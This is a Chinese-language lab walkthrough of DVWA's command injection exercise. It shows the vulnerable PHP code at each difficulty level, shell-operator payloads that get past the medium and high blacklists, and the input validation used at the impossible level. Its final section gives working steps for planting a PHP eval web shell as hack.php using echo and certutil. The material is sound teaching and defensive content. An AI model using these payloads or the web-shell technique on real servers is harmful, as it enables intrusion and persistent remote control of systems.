# DVWA Command Injection (教學用) ###### tags: `DVWA` ## low 輸入IP 127.0.0.1 ```htmlembedded <form name="ping" action="#" method="post"> <p> Enter an IP address: <input type="text" name="ip" size="30"> <input type="submit" name="Submit" value="Submit"> </p> </form> ``` 返回 ```cmd Pinging 127.0.0.1 with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms ``` 大概猜測一下: ```php <?php $output = shell_exec("ping {$_GET['ip']}"); echo "<pre>$output</pre>"; ?> ``` * && cmd1 成功後執行 cmd2 cmd1 失敗後不執行 cmd2 ```cmd= 127.0.0.1 && echo 123 x && echo 123 ``` <br/> <br/> * & cmd1 不管失敗或成功都執行 cmd2 ```cmd= 127.0.0.1 & echo 123 x & echo 123 ``` <br/> <br/> * || cmd1 成功後不執行 cmd2 cmd1 失敗後執行 cmd2 ```cmd= 127.0.0.1 || echo 123 x || echo 123 ``` <br/> <br/> * | (管道符) cmd1 的 stdout 作為 cmd2 的輸入 ```cmd= //dir 會顯示出當前目錄所有檔案 // find 找出.txt 的字串 dir | find ".txt" //netstat -ano 列出所有連線 //find "127.0.0.1" 找出 127.0.0.1的連線 netstat -ano | find "127.0.0.1" ``` * payload 組合 ``` x & dir | find ".txt" ``` * 如果出現亂碼 ``` x & chcp Ping request could not find host x. Please check the name and try again. Active code page: 932 ``` code page 查詢 https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers 932 = shift_jis 下載網頁插件 * 關鍵字 charset 我用的 chrome 插件 * 网页编码修改(Charset)。 <br/> <br/> ### code: 跟我猜測的差不多。 ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> ``` ## medium 直接看code 懶得猜了 ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> ``` 只針對 && 和 ;做過濾,所以其他還是可以用的 我們這次就來針對本題的繞過: 這種字串型的很好繞過 ``` &;& //; 轉為空 又變成 && ``` payload ``` 127.0.0.1 &;& echo 123 ``` ## high ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', //關鍵點 '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', // 關鍵點 ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> ``` 一樣是 || 字串,這種字串型給了我們繞過的機會。 payload ``` x |;| echo 123 ``` 另一個(不過太假了,多一個空格) ``` '| ' => '', ``` 只要 | 的右邊不要有空個就好, 雖說 | 作為管道符,但是如果 cmd2 不需要 cmd1的stdout做為輸入也不會有任何問題 payload: ``` 127.0.0.1 |echo 123 ``` ## impossible ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 防預原理: 127.0.0.1 各別拆開 127 (判斷是否為數字) 0 (判斷是否為數字) 0 (判斷是否為數字) 1 (判斷是否為數字) ### cheetsheet 指出 * 在 PHP 中使用escapeshellarg()或escapeshellcmd()而不是exec()、system()、passthru()。 https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html * 自動化測試 payload: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/Intruder/command_exec.txt ## 實驗: 調到medium ``` 一句話木馬 <?php @eval($_POST[x]); ?> 轉base64 PD9waHAgQGV2YWwoJF9QT1NUW3hdKTsgPz4= 輸出text.txt x & echo PD9waHAgQGV2YWwoJF9QT1NUW3hdKTsgPz4= >text.txt decode 到 hack.php x & certutil -decode text.txt hack.php ``` high 難度 字元(-) 被過濾了。需要使用其他方法。